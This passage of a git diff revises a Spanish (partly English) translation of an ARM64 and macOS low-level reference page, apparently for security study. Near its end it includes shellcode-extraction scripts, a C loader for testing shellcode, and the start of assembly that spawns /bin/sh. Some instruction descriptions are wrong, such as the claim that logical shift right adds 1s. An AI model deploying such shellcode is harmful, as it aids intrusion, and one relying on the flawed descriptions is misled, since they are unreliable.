shift left**: Añade 0s al final moviendo los otros bits hacia adelante (multiplicar por 2^n) +- **Logical shift right**: Añade 1s al principio moviendo los otros bits hacia atrás (dividir por 2^n en unsigned) +- **Arithmetic shift right**: Como **`lsr`**, pero en lugar de añadir 0s si el bit más significativo es 1, se añaden 1s (divide por 2^n en signed) +- **Rotate right**: Como **`lsr`** pero lo que se quita por la derecha se añade por la izquierda +- **Rotate Right with Extend**: Como **`ror`**, pero con la bandera de carry como el "bit más significativo". Así la bandera de carry se mueve al bit 31 y el bit removido a la bandera de carry. +- **`bfm`**: **Bit Filed Move**, estas operaciones **copian bits `0...n`** desde un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**. +- Bitfiled move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Copia un campo de bits desde un registro y lo copia a otro registro. +- **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el bit 3 en X1 +- **`BFXIL X1, X2, #3, #4`** Extrae desde el bit 3 de X2 cuatro bits y los copia en X1 +- **`SBFIZ X1, X2, #3, #4`** Extiende con signo 4 bits de X2 e insertarlos en X1 empezando en la posición de bit 3, poniendo a cero los bits a la derecha +- **`SBFX X1, X2, #3, #4`** Extrae 4 bits empezando en el bit 3 de X2, los extiende con signo y coloca el resultado en X1 +- **`UBFIZ X1, X2, #3, #4`** Extiende con ceros 4 bits de X2 e insertarlos en X1 empezando en la posición de bit 3, poniendo a cero los bits a la derecha +- **`UBFX X1, X2, #3, #4`** Extrae 4 bits empezando en el bit 3 de X2 y coloca el resultado extendido con ceros en X1. +- **Sign Extend To X:** Extiende el signo (o añade solo 0s en la versión unsigned) de un valor para poder realizar operaciones con él: +- **`SXTB X1, W2`** Extiende el signo de un byte **desde W2 a X1** (`W2` es la mitad de `X2`) para rellenar los 64 bits +- **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **desde W2 a X1** para rellenar los 64 bits +- **`SXTW X1, W2`** Extiende el signo de un byte **desde W2 a X1** para rellenar los 64 bits +- **`UXTB X1, W2`** Añade 0s (unsigned) a un byte **desde W2 a X1** para rellenar los 64 bits +- **`extr`:** Extrae bits de un **par de registros concatenados** especificado. +- Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatenará W1+W2** y obtendrá **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacenará en W3. +- **`cmp`**: **Comparar** dos registros y establecer las banderas de condición. Es un **alias de `subs`** que establece el registro destino al registro cero. Útil para saber si `m == n`. +- Soporta la **misma sintaxis que `subs`** - Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia. -- **`cmn`**: **Comparar** el operando negativo. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`. -- **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func. -- Esto se debe a que **`ccmp`** solo se ejecutará si la **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`). -- Esto también puede usarse como `ccmn` (lo mismo pero negativo, como `cmp` vs `cmn`). -- **`tst`**: Verifica si alguno de los valores de la comparación son ambos 1 (funciona como un ANDS sin almacenar el resultado en ningún lado). Es útil para verificar un registro con un valor y comprobar si alguno de los bits del registro indicado en el valor es 1. -- Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1. -- **`teq`**: Operación XOR descartando el resultado. -- **`b`**: Salto incondicional. -- Ejemplo: `b myFunction`. -- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar). -- **`bl`**: **Branch** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**. +- **`cmn`**: **Compare negative** operando. En este caso es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`. +- **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación previa fue verdadera y establecerá específicamente bits nzcv. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func +- Esto es porque **`ccmp`** solo se ejecutará si la **`cmp`** previa fue `NE`, si no lo fue los bits `nzcv` se establecerán a 0 (lo que no satisfará la comparación `blt`). +- Esto también puede usarse como `ccmn` (igual pero negativo, como `cmp` vs `cmn`). +- **`tst`**: Comprueba si alguno de los valores de la comparación tiene bits en 1 (funciona como un ANDS sin almacenar el resultado en ninguna parte). Es útil para comprobar un registro con un valor y ver si alguno de los bits del registro indicado en el valor es 1. +- Ejemplo: `tst X1, #7` Comprueba si alguno de los últimos 3 bits de X1 es 1 +- **`teq`**: Operación XOR descartando el resultado +- **`b`**: Branch incondicional +- Ejemplo: `b myFunction` +- Ten en cuenta que esto no llenará el link register con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan volver) +- **`bl`**: **Branch** con link, usado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**. - Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`. -- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar). -- **`blr`**: **Branch** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. +- Ten en cuenta que esto no llenará el link register con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan volver) +- **`blr`**: **Branch** con Link a Registro, usado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. (Esto es - Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`. -- **`ret`**: **Retornar** de **subrutina**, típicamente usando la dirección en **`x30`**. -- Ejemplo: `ret` — Esto retorna de la subrutina actual usando la dirección de retorno en `x30`. -- **`b.`**: Saltos condicionales. -- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` anterior. -- Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`. -- **`b.ne`**: **Branch si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección. +- **`ret`**: **Retornar** desde una **subrutina**, típicamente usando la dirección en **`x30`**. +- Ejemplo: `ret` — Esto retorna desde la subrutina actual usando la dirección de retorno en `x30`. +- **`b.`**: Branchs condicionales +- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` previa. +- Ejemplo: `b.eq label` — Si la instrucción `cmp` previa encontró dos valores iguales, esto salta a `label`. +- **`b.ne`**: **Branch si No Igual**. Esta instrucción comprueba las banderas de condición (que fueron establecidas por una instrucción de comparación previa), y si los valores comparados no eran iguales, salta a una etiqueta o dirección. - Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`. -- **`cbz`**: **Comparar y saltar si es cero**. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección. +- **`cbz`**: **Compare and Branch on Zero**. Esta instrucción compara un registro con cero, y si son iguales, hace branch a una etiqueta o dirección. - Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`. -- **`cbnz`**: **Comparar y saltar si no es cero**. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Esta instrucción compara un registro con cero, y si no son iguales, hace branch a una etiqueta o dirección. - Ejemplo: `cbnz x0, label` — Si el valor en `x0` no es cero, esto salta a `label`. -- **`tbnz`**: Prueba de bit y salto si no es cero. -- Ejemplo: `tbnz x0, #8, label`. -- **`tbz`**: Prueba de bit y salto si es cero. -- Ejemplo: `tbz x0, #8, label`. -- **Operaciones de selección condicional**: Estas son operaciones cuyo comportamiento varía dependiendo de los bits condicionales. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es verdadero, X0 = X1, si es falso, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Si es verdadero, Xd = Xn + 1, si es falso, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Si es verdadero, Xd = NOT(Xn), si es falso, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Si es verdadero, Xd = - Xn, si es falso, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Si es verdadero, Xd = 1, si es falso, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \, si es falso, Xd = 0. -- **`adrp`**: Calcular la **dirección de página de un símbolo** y almacenarla en un registro. +- **`tbnz`**: Test bit and branch on nonzero +- Ejemplo: `tbnz x0, #8, label` +- **`tbz`**: Test bit and branch on zero +- Ejemplo: `tbz x0, #8, label` +- **Operaciones de selección condicional**: Son operaciones cuyo comportamiento varía dependiendo de los bits de condición. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es true, X0 = X1, si es false, X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Si es true, Xd = Xn + 1, si es false, Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Si es true, Xd = NOT(Xn), si es false, Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = - Xm +- `cneg Xd, Xn, cond` -> Si es true, Xd = - Xn, si es false, Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Si es true, Xd = 1, si es false, Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Si es true, Xd = \, si es false, Xd = 0 +- **`adrp`**: Calcula la **dirección de página de un símbolo** y la almacena en un registro. - Ejemplo: `adrp x0, symbol` — Esto calcula la dirección de página de `symbol` y la almacena en `x0`. -- **`ldrsw`**: **Cargar** un valor **de 32 bits** con signo de la memoria y **extenderlo a 64** bits. -- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor de 32 bits con signo de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`. -- **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, utilizando un desplazamiento de otro registro. +- **`ldrsw`**: **Carga** un valor **signed 32-bit** desde memoria y lo **sign-extend a 64** bits. +- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor signed de 32 bits desde la dirección en `x1`, lo sign-extiende a 64 bits y lo almacena en `x0`. +- **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, usando un offset desde otro registro. - Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actualmente en `x1`. -- **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo de usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**. +- **`svc`** : Hacer una **system call**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de user mode a kernel mode** y salta a una ubicación específica en memoria donde está el código de manejo de system call del **kernel**. - Ejemplo: ```armasm -mov x8, 93 ; Cargar el número de llamada al sistema para salir (93) en el registro x8. -mov x0, 0 ; Cargar el código de estado de salida (0) en el registro x0. -svc 0 ; Realizar la llamada al sistema. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prólogo de Función** +### **Function Prologue** -1. **Guardar el registro de enlace y el puntero de marco en la pila**: +1. **Save the link register and frame pointer to the stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Configurar el nuevo puntero de marco**: `mov x29, sp` (configura el nuevo puntero de marco para la función actual) -3. **Asignar espacio en la pila para variables locales** (si es necesario): `sub sp, sp, ` (donde `` es el número de bytes necesarios) +2. **Configurar el nuevo puntero de marco**: `mov x29, sp` (configura el nuevo puntero de marco para la función actual) +3. **Reservar espacio en la pila para variables locales** (si es necesario): `sub sp, sp, ` (donde `` es el número de bytes necesarios) -### **Epilogo de la Función** +### **Epílogo de la función** -1. **Desasignar variables locales (si se asignaron)**: `add sp, sp, ` +1. **Liberar espacio de variables locales (si se asignaron)**: `add sp, sp, ` 2. **Restaurar el registro de enlace y el puntero de marco**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (devuelve el control al llamador utilizando la dirección en el registro de enlace) +3. **Retorno**: `ret` (devuelve el control al llamador usando la dirección en el registro de enlace) ## Estado de Ejecución AARCH32 -Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede alternar entre ellos a través de **`interworking`**.\ -Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al nivel de 32 bits de menor privilegio.\ -Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo del CPSR**.** +Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`**, y puede cambiar entre ellos mediante **`interworking`**.\ +**Privilegiados** programas de 64 bits pueden programar la **ejecución de programas de 32 bits** ejecutando una transferencia de nivel de excepción al 32-bit de privilegios inferiores.\ +Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con un nivel de excepción inferior (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se realiza estableciendo el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ejecutarse y el resto de `SPSR_ELx` almacena el CPSR del programa **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`**, entrando en A32 o T32 dependiendo de CPSR**.** -El **`interworking`** ocurre utilizando los bits J y T del CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo a 1** para indicar que el conjunto de instrucciones es T32.\ -Esto se establece durante las **instrucciones de salto interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. Esto básicamente equivale a establecer el **bit menos significativo a 1** para indicar que el conjunto de instrucciones es T32.\ +Esto se establece durante las **interworking branch instructions,** pero también puede establecerse directamente con otras instrucciones cuando el PC se establece como el registro destino. Ejemplo: Otro ejemplo: ```armasm @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Registros -Hay 16 registros de 32 bits (r0-r15). **Desde r0 hasta r14** se pueden usar para **cualquier operación**, sin embargo, algunos de ellos suelen estar reservados: +There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved: -- **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. En A32 actual + 8, en T32, actual + 4. +- **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. In A32 current + 8, in T32, current + 4. - **`r11`**: Puntero de marco -- **`r12`**: Registro de llamada intra-procedimental -- **`r13`**: Puntero de pila -- **`r14`**: Registro de enlace +- **`r12`**: Registro de llamadas intra-procedimiento +- **`r13`**: Stack Pointer (Nota: la pila siempre está alineada a 16 bytes) +- **`r14`**: Link Register -Además, los registros se respaldan en **`registros bancados`**. Estos son lugares que almacenan los valores de los registros permitiendo realizar **cambios de contexto rápidos** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\ -Esto se hace **guardando el estado del procesador desde el `CPSR` al `SPSR`** del modo de procesador al que se toma la excepción. Al regresar de la excepción, el **`CPSR`** se restaura desde el **`SPSR`**. +Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **conmutación rápida de contexto** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\ +This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**. -### CPSR - Registro de Estado del Programa Actual +### CPSR - Registro de estado del programa actual -En AArch32, el CPSR funciona de manera similar a **`PSTATE`** en AArch64 y también se almacena en **`SPSR_ELx`** cuando se toma una excepción para restaurar más tarde la ejecución: +In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
-Los campos se dividen en algunos grupos: +The fields are divided in some groups: -- Registro de Estado del Programa de Aplicación (APSR): Banderas aritméticas y accesibles desde EL0 -- Registros de Estado de Ejecución: Comportamiento del proceso (gestionado por el SO). +- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0 +- Execution State Registers: Process behaviour (managed by the OS). -#### Registro de Estado del Programa de Aplicación (APSR) +#### Application Program Status Register (APSR) -- Las banderas **`N`**, **`Z`**, **`C`**, **`V`** (igual que en AArch64) -- La bandera **`Q`**: Se establece en 1 siempre que **ocurra saturación entera** durante la ejecución de una instrucción aritmética de saturación especializada. Una vez que se establece en **`1`**, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente. -- Banderas **`GE`** (Mayor o igual): Se utilizan en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción. +- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64) +- The **`Q`** flag: It's set to 1 whenever **saturación de enteros** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually. +- **`GE`** (Mayor o igual) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction. -Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las sumas de bytes, indicando si la suma para ese par de bytes **desbordó**. +For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **desbordamiento**. -La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condicionales. +The **`SEL`** instruction uses these GE flags to perform conditional actions. -#### Registros de Estado de Ejecución +#### Execution State Registers -- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32. -- Registro de Estado del Bloque IT (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**. -- Bit **`E`**: Indica el **endianness**. -- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **5to** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta. +- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used. +- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group. +- **`E`** bit: Indicates the **endianness**. +- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
-- **`AIF`**: Ciertas excepciones pueden ser deshabilitadas usando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. La **`I`** configura para responder a **Solicitudes de Interrupción** (IRQ) de hardware externo. y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR). +- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs). ## macOS -### Llamadas al sistema BSD +### BSD syscalls -Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas al sistema BSD tendrán **x16 > 0**. +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. -### Trampas de Mach +### Mach Traps -Consulta en [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` y en [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) los prototipos. El número máximo de trampas de Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas de Mach tendrán **x16 < 0**, así que necesitas llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**. +Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. -También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas (y BSD) llamadas al sistema: +You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Nota que **Ida** y **Ghidra** también pueden descompilar **dylibs específicas** de la caché simplemente pasando la caché. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente** porque el código de varias syscalls (BSD y Mach) se genera a través de scripts (ver comentarios en el código fuente) mientras que en la dylib puedes encontrar lo que se está llamando. +> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente**, porque el código de varias syscalls (BSD and Mach) se genera mediante scripts (revisa los comentarios en el código fuente) mientras que en el dylib puedes ver qué se está llamando. -### llamadas machdep +### machdep calls -XNU soporta otro tipo de llamadas llamadas dependientes de la máquina. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados para permanecer constantes. +XNU soporta otro tipo de llamadas llamadas machine dependent. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados a permanecer constantes. -### página de comunicación +### comm page -Esta es una página de memoria del propietario del kernel que está mapeada en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer la transición del modo usuario al espacio del kernel más rápida que usar syscalls para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente. +Esta es una página de memoria propiedad del kernel que se mapea en el address space de cada proceso de usuario. Está pensada para hacer la transición de user mode a kernel space más rápida que usando syscalls para servicios del kernel que se usan tanto que esta transición sería muy ineficiente. -Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente de la página de comunicación. +Por ejemplo la llamada `gettimeofdate` lee el valor de `timeval` directamente desde la comm page. ### objc_msgSend -Es muy común encontrar esta función utilizada en programas de Objective-C o Swift. Esta función permite llamar a un método de un objeto de Objective-C. +Es muy común encontrar esta función usada en programas Objective-C o Swift. Esta función permite llamar un método de un objeto Objective-C. -Parámetros ([más información en la documentación](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parámetros ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Puntero a la instancia - x1: op -> Selector del método - x2... -> Resto de los argumentos del método invocado -Así que, si pones un punto de interrupción antes de la rama a esta función, puedes encontrar fácilmente lo que se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando): +Así que, si pones un breakpoint antes de la rama a esta función, puedes encontrar fácilmente qué se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +372,27 @@ whoami ) ``` > [!TIP] -> Configurando la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`. +> Estableciendo la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`. > -> Además, configurando **`OBJC_HELP=1`** y llamando a cualquier binario puedes ver otras variables de entorno que podrías usar para **log** cuando ocurren ciertas acciones de Objc-C. +> Además, estableciendo **`OBJC_HELP=1`** y ejecutando cualquier binario puedes ver otras variables de entorno que podrías usar para **log** cuando ocurren ciertas acciones Objc-C. -Cuando se llama a esta función, es necesario encontrar el método llamado de la instancia indicada, para esto se realizan diferentes búsquedas: +Cuando se llama a esta función, es necesario encontrar el método invocado de la instancia indicada; para ello se realizan las siguientes búsquedas: -- Realizar búsqueda optimista en caché: -- Si tiene éxito, hecho +- Realizar búsqueda optimista en cache: +- Si tiene éxito, listo - Adquirir runtimeLock (lectura) -- Si (realizar && !cls->realized) realizar clase -- Si (inicializar && !cls->initialized) inicializar clase -- Intentar caché propia de la clase: -- Si tiene éxito, hecho -- Intentar lista de métodos de la clase: -- Si se encuentra, llenar caché y hecho -- Intentar caché de la superclase: -- Si tiene éxito, hecho -- Intentar lista de métodos de la superclase: -- Si se encuentra, llenar caché y hecho -- Si (resolver) intentar resolver método, y repetir desde la búsqueda de clase -- Si aún está aquí (= todo lo demás ha fallado) intentar forwarder +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Probar cache propia de la clase: +- Si tiene éxito, listo +- Intentar la lista de métodos de la clase: +- Si se encuentra, llenar cache y listo +- Probar cache de la superclass: +- Si tiene éxito, listo +- Intentar la lista de métodos de la superclass: +- Si se encuentra, llenar cache y listo +- If (resolver) try method resolver, and repeat from class lookup +- If still here (= all else has failed) try forwarder ### Shellcodes @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Para macOS más recientes: +Para versiones más recientes de macOS: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -417,7 +420,7 @@ done ```
-C código para probar el shellcode +Código C para probar el shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,10 +470,10 @@ return 0; #### Shell -Tomado de [**aquí**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado. +Tomado de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado. {{#tabs}} -{{#tab name="con adr"}} +{{#tab name="with adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="con pila"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label 